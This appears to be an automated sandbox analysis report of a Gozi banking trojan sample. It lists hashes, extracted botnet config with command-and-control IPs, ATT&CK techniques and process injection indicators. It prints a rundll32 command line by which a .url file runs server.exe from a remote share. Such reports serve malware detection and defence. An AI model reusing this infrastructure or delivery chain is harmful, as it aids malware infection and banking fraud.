gozi | 1fede186e9d9666ce4eff1882ce3bdca66c9a121ea9773d8e57747912e8ad57e

Analysis

max time kernel
146s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
14-03-2023 08:15

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General

Target

Agenzia/Agenzia.txt.url
Size

195B
MD5

cc689d7d4fa6905ebc5958630848fa00
SHA1

3d0ca3eeb7a45d2367b0693188ba99cf68f6a520
SHA256

67f14cb9d372a7a295a96a82f2eab679b7373f3613df6b8dcf9434482047caa1
SHA512

974c9c969029636eb6db168cc65ddaed096b2695815107f8f0c14da0ab419c7ac25c76a8f16eeaad03102efcd918991f11e7a9685a1fb94a851280349862efdd

Score

10^/10

gozi 7713 banker isfb trojan

Malware Config

Extracted

Family

gozi

Botnet

7713

checklist.skype.com

62.173.142.51

94.103.183.153

193.233.175.111

109.248.11.145

31.41.44.106

191.96.251.201

Attributes

base_path
/drew/
build
250255
exe_type
loader
extension
.jlk
server_id
50

rsa_pubkey.plain

aes.plain

Extracted

Family

gozi

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

rundll32.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	rundll32.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

rundll32.exe

description	pid	process	target process
PID 1392 wrote to memory of 1884	1392	rundll32.exe	server.exe
PID 1392 wrote to memory of 1884	1392	rundll32.exe	server.exe
PID 1392 wrote to memory of 1884	1392	rundll32.exe	server.exe

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Agenzia\Agenzia.txt.url
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1392

\??\UNC\109.248.11.162\Agenzia\server.exe
"\\109.248.11.162\Agenzia\server.exe"
2⤵
PID:1884

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1884-134-0x0000000000640000-0x000000000064B000-memory.dmp

Filesize
44KB

Download
memory/1884-135-0x0000000000660000-0x000000000066D000-memory.dmp

Filesize
52KB

Download
memory/1884-138-0x0000000000400000-0x00000000004B9000-memory.dmp

Filesize
740KB

Download